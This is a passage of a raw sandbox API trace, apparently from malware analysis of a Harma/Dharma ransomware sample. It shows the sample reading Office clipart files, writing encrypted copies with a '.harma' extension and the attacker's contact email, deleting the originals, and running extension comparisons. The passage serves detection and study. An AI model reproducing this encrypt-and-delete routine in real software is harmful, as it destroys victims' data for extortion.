lpOverlapped=0x0) returned 1 [0169.999] WriteFile (in: hFile=0x39c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3740, lpOverlapped=0x0) returned 1 [0170.000] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0170.000] WriteFile (in: hFile=0x39c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.000] SetEndOfFile (hFile=0x39c) returned 1 [0170.001] CloseHandle (hObject=0x39c) returned 1 [0170.001] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.001] SetEndOfFile (hFile=0x384) returned 1 [0170.004] CloseHandle (hObject=0x384) returned 1 [0170.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0170.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0170.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0170.005] lstrlenW (lpString=".doc") returned 4 [0170.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.005] lstrlenW (lpString=".docx") returned 5 [0170.005] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.005] lstrlenW (lpString=".pdf") returned 4 [0170.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.006] lstrlenW (lpString=".xls") returned 4 [0170.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.006] lstrlenW (lpString=".xlsx") returned 5 [0170.006] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.006] lstrlenW (lpString=".ppt") returned 4 [0170.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0170.006] lstrlenW (lpString=".zip") returned 4 [0170.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.006] lstrlenW (lpString=".rar") returned 4 [0170.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.006] lstrlenW (lpString=".bz2") returned 4 [0170.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.006] lstrlenW (lpString=".7z") returned 3 [0170.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0170.006] lstrlenW (lpString=".dbf") returned 4 [0170.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0170.006] lstrlenW (lpString=".1cd") returned 4 [0170.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0170.006] lstrlenW (lpString=".jpg") returned 4 [0170.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0170.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0170.007] lstrlenW (lpString=".doc") returned 4 [0170.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString=".docx") returned 5 [0170.007] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.007] lstrlenW (lpString=".pdf") returned 4 [0170.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString=".xls") returned 4 [0170.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.007] lstrlenW (lpString=".xlsx") returned 5 [0170.007] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.007] lstrlenW (lpString=".ppt") returned 4 [0170.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0170.007] lstrlenW (lpString=".zip") returned 4 [0170.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.007] lstrlenW (lpString=".rar") returned 4 [0170.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString=".bz2") returned 4 [0170.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString=".7z") returned 3 [0170.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0170.007] lstrlenW (lpString=".dbf") returned 4 [0170.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0170.007] lstrlenW (lpString=".1cd") returned 4 [0170.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0170.007] lstrlenW (lpString=".jpg") returned 4 [0170.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.008] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.008] lstrlenW (lpString="J0107134.WMF") returned 12 [0170.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0170.009] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=48388) returned 1 [0170.009] CloseHandle (hObject=0x384) returned 1 [0170.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 0x20 [0170.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0170.009] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.009] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.010] GetLastError () returned 0x0 [0170.010] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xbd04, lpOverlapped=0x0) returned 1 [0170.109] WriteFile (in: hFile=0x39c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xbd10, lpOverlapped=0x0) returned 1 [0170.111] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0170.111] WriteFile (in: hFile=0x39c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.111] SetEndOfFile (hFile=0x39c) returned 1 [0170.111] CloseHandle (hObject=0x39c) returned 1 [0170.112] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.112] SetEndOfFile (hFile=0x384) returned 1 [0170.115] CloseHandle (hObject=0x384) returned 1 [0170.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 1 [0170.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0170.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0170.117] lstrlenW (lpString=".doc") returned 4 [0170.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.117] lstrlenW (lpString=".docx") returned 5 [0170.117] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.117] lstrlenW (lpString=".pdf") returned 4 [0170.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.118] lstrlenW (lpString=".xls") returned 4 [0170.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.118] lstrlenW (lpString=".xlsx") returned 5 [0170.118] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.118] lstrlenW (lpString=".ppt") returned 4 [0170.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0170.118] lstrlenW (lpString=".zip") returned 4 [0170.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.118] lstrlenW (lpString=".rar") returned 4 [0170.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.118] lstrlenW (lpString=".bz2") returned 4 [0170.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.118] lstrlenW (lpString=".7z") returned 3 [0170.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0170.118] lstrlenW (lpString=".dbf") returned 4 [0170.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0170.118] lstrlenW (lpString=".1cd") returned 4 [0170.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0170.118] lstrlenW (lpString=".jpg") returned 4 [0170.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0170.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0170.119] lstrlenW (lpString=".doc") returned 4 [0170.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.119] lstrlenW (lpString=".docx") returned 5 [0170.119] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.119] lstrlenW (lpString=".pdf") returned 4 [0170.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.119] lstrlenW (lpString=".xls") returned 4 [0170.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.119] lstrlenW (lpString=".xlsx") returned 5 [0170.119] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.119] lstrlenW (lpString=".ppt") returned 4 [0170.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0170.119] lstrlenW (lpString=".zip") returned 4 [0170.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.119] lstrlenW (lpString=".rar") returned 4 [0170.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.119] lstrlenW (lpString=".bz2") returned 4 [0170.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.120] lstrlenW (lpString=".7z") returned 3 [0170.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0170.120] lstrlenW (lpString=".dbf") returned 4 [0170.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0170.120] lstrlenW (lpString=".1cd") returned 4 [0170.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0170.120] lstrlenW (lpString=".jpg") returned 4 [0170.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.120] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.120] lstrlenW (lpString="J0107146.WMF") returned 12 [0170.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0170.273] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=14996) returned 1 [0170.273] CloseHandle (hObject=0x34c) returned 1 [0170.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 0x20 [0170.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0170.400] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.400] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0170.401] GetLastError () returned 0x0 [0170.402] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x3a94, lpOverlapped=0x0) returned 1 [0170.457] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0170.459] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0170.459] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.459] SetEndOfFile (hFile=0x218) returned 1 [0170.459] CloseHandle (hObject=0x218) returned 1 [0170.459] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.459] SetEndOfFile (hFile=0x3a4) returned 1 [0170.462] CloseHandle (hObject=0x3a4) returned 1 [0170.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 1 [0170.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0170.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0170.464] lstrlenW (lpString=".doc") returned 4 [0170.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.464] lstrlenW (lpString=".docx") returned 5 [0170.464] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.464] lstrlenW (lpString=".pdf") returned 4 [0170.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.464] lstrlenW (lpString=".xls") returned 4 [0170.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.464] lstrlenW (lpString=".xlsx") returned 5 [0170.464] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.464] lstrlenW (lpString=".ppt") returned 4 [0170.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0170.464] lstrlenW (lpString=".zip") returned 4 [0170.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.464] lstrlenW (lpString=".rar") returned 4 [0170.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.465] lstrlenW (lpString=".bz2") returned 4 [0170.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.465] lstrlenW (lpString=".7z") returned 3 [0170.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0170.465] lstrlenW (lpString=".dbf") returned 4 [0170.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0170.465] lstrlenW (lpString=".1cd") returned 4 [0170.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0170.465] lstrlenW (lpString=".jpg") returned 4 [0170.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0170.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0170.466] lstrlenW (lpString=".doc") returned 4 [0170.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.466] lstrlenW (lpString=".docx") returned 5 [0170.466] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.466] lstrlenW (lpString=".pdf") returned 4 [0170.466] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.466] lstrlenW (lpString=".xls") returned 4 [0170.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.466] lstrlenW (lpString=".xlsx") returned 5 [0170.466] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.466] lstrlenW (lpString=".ppt") returned 4 [0170.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0170.466] lstrlenW (lpString=".zip") returned 4 [0170.466] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.466] lstrlenW (lpString=".rar") returned 4 [0170.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.466] lstrlenW (lpString=".bz2") returned 4 [0170.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.466] lstrlenW (lpString=".7z") returned 3 [0170.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0170.466] lstrlenW (lpString=".dbf") returned 4 [0170.466] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0170.466] lstrlenW (lpString=".1cd") returned 4 [0170.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0170.467] lstrlenW (lpString=".jpg") returned 4 [0170.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.467] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.467] lstrlenW (lpString="J0107154.WMF") returned 12 [0170.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0170.468] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=22300) returned 1 [0170.468] CloseHandle (hObject=0x3a4) returned 1 [0170.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 0x20 [0170.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0170.469] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.469] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0170.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0170.469] GetLastError () returned 0x0 [0170.470] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x571c, lpOverlapped=0x0) returned 1 [0170.642] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5720, lpOverlapped=0x0) returned 1 [0170.643] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0170.643] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, 